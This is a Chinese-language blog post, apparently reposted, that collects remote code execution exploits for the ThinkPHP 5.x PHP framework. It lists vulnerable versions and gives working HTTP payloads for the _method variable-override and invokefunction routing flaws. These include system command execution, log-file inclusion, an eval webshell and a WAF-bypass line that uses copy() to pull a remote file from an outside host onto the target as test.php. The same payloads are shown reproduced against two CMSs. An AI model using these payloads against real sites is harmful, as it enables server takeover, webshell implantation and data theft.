thinkphp5.x系列 RCE總結


Thinkphp  MVC開發模式

執行流程:

首先發起請求->開始路由檢測->獲取pathinfo信息->路由匹配->開始路由解析->獲得模塊、控制器、操作方法調度信息->開始路由調度->解析模塊和類名->組建命名空間>查找並加載類->實例化控制器並調用操作方法->構建響應對象->響應輸出->日志保存->程序運行結束

漏洞原因:路由控制不嚴謹,默認不開啟強制路由,從而可以任意調用Thinkphp的類庫

 

主要有倆種方法,1.Request中的變量覆蓋導致RCE  2.路由控制不嚴謹導致的RCE

 

1.Request中的變量覆蓋導致RCE

版本名 是否可被攻擊 攻擊條件
5.0.0 否 無
5.0.1 否 無
5.0.2 否 無
5.0.3 否 無
5.0.4 否 無
5.0.5 否 無
5.0.6 否 無
5.0.7 否 無
5.0.8 是 無需開啟debug
5.0.9 是 無需開啟debug
5.0.10 是 無需開啟debug
5.0.11 是 無需開啟debug
5.0.12 是 無需開啟debug
5.0.13 是 需開啟debug
5.0.14 是 需開啟debug
5.0.15 是 需開啟debug
5.0.16 是 需開啟debug
5.0.17 是 需開啟debug
5.0.18 是 需開啟debug
5.0.19 是 需開啟debug
5.0.20 否 無
5.0.21 是 需開啟debug
5.0.22 是 需開啟debug
5.0.23 是 需開啟debug

 

5.0.0-5.0.12
payload:

POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

s=whoami&_method=__construct&filter[]=system

5.1版本,需設置error_reporting(0);

POST /tp5132/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 28

c=system&f=id&_method=filter
利用文件包含

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
利用其他變量傳參

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

2.路由控制不嚴謹導致的RCE   

v5.0.23及v5.1.31以下版本

 

 

 

index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


https://xz.aliyun.com/t/3570 thinkphp win 和linux 的區別

https://www.butian.net/4e5e5d7364f443e28fbf0d3ae744a59a
thinkphp 3 指紋識別 4e5e5d7364f443e28fbf0d3ae744a59a GET

繞寶塔 -主要還是函數和正則上的繞過
http://yishangtv.com/index.php?s=&Fuck=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

還有一種思路 利用\think\ 類庫的 方法
做文件包含,把馬內容寫到log

 

 

關於第一種方法,在基於tp5開發的cms 復現

mipcms 最新版本。debug 需要打開

 

url : http://127.0.0.1/ms/?s=index

payload:

c=assert&f=phpinfo()&_method=filter

 

 

關於第二種方法,在基於tp5開發的cms 復現 Powered by qibosoft X1.0 Beta Code ©2003-2018

http://127.0.0.1/x1(1)/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM